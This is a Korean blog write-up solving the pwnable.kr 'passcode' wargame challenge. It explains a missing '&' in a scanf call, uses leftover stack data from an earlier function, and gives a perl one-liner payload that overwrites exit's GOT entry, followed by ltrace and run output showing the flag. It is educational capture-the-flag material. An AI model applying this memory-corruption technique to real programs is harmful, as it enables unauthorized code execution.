본문 바로가기
Wargame/pwnable.kr

[Toddler's Bottle] passcode

by bbolmin 2014. 7. 19.


passcode.c 소스


passcode1과 passcode2가 338150, 13371337와 같아지면 flag를 출력해준다.

여기서 scanf로 passcode를 입력 받을 때 %d 입력에 &가 없다는게 문제가 된다. 이렇게 되면 passcode 변수가 가지고 있는 값을 주소로 인식하고 해당 주소에 값을 입력받게 된다.



passcode를 컨트롤 할 수 있는 첫 번째 방법으로는 login함수 호출 전에 welcome 함수를 호출한다는 것이다.

따라서 welcome 함수에서 사용한 스택에 쓰레기 값들이 남아 있는 것을 활용할 수 있다. 


확인 결과 아래와 같이 100byte 중 마지막 4byte가 passcode1에 매칭된다.


passcode@ubuntu:~$ (perl -e 'print "a"x96, "\x11\x22\x33\x44\n"';cat)|ltrace ./passcode

__libc_start_main(0x8048665, 1, 0xff8c4bf4, 0x80486a0, 0x8048710 <unfinished ...>

puts("Toddler's Secure Login System 1."...Toddler's Secure Login System 1.0 beta.

)                          = 40

printf("enter you name : ")                                          = 17

__isoc99_scanf(0x80487dd, 0xff8c4ac8, 40, 0xf7664689, 0xf7796a20)    = 1

printf("Welcome %s!\n", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"...enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"3D!

)       = 110

printf("enter passcode1 : ")                                         = 18

__isoc99_scanf(0x8048783, 0x44332211, 0x61616161, 0x61616161, 0x61616161




아무리 생각해도 passcode1과 passcode2를 동시에 338150, 13371337 만들 방법이 생각나지 않았다 ......

괜히 코드값을 맞춰줄려다가 시간만 버렸다 ㅡㅡㅡㅡ

어짜피 passcode1에 원하는 4byte값을 넣을 수 있고 해당 지점에 다시 4byte값을 넣을 수 있으니 그냥 exit의 got를 printf("Login OK!\n"); 쪽 흐름으로 덮어버리면 된다 ;;




[ 공격코드 ]


(perl -e 'print "a"x96, "\x18\xa0\x04\x08\n"';cat)|./passcode

134514135

a(아무 문자나 입력)




passcode@ubuntu:~$ (perl -e 'print "a"x96, "\x18\xa0\x04\x08\n"';cat)|./passcode

Toddler's Secure Login System 1.0 beta.

enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

134514135


d

enter passcode1 : enter passcode2 : checking...

Login Failed!

Login OK!

Sorry mom.. I got confused about scanf usage :(

Now I can safely trust you that you have credential :)




'Wargame > pwnable.kr' 카테고리의 다른 글

[Rookiss] simple login  (0) 2014.07.27
[Rookiss] brain fuck  (0) 2014.07.26
[Rookiss] ascii_easy  (0) 2014.07.21
[Rookiss] dragon  (0) 2014.07.20
[Rookiss] fsb  (0) 2014.07.07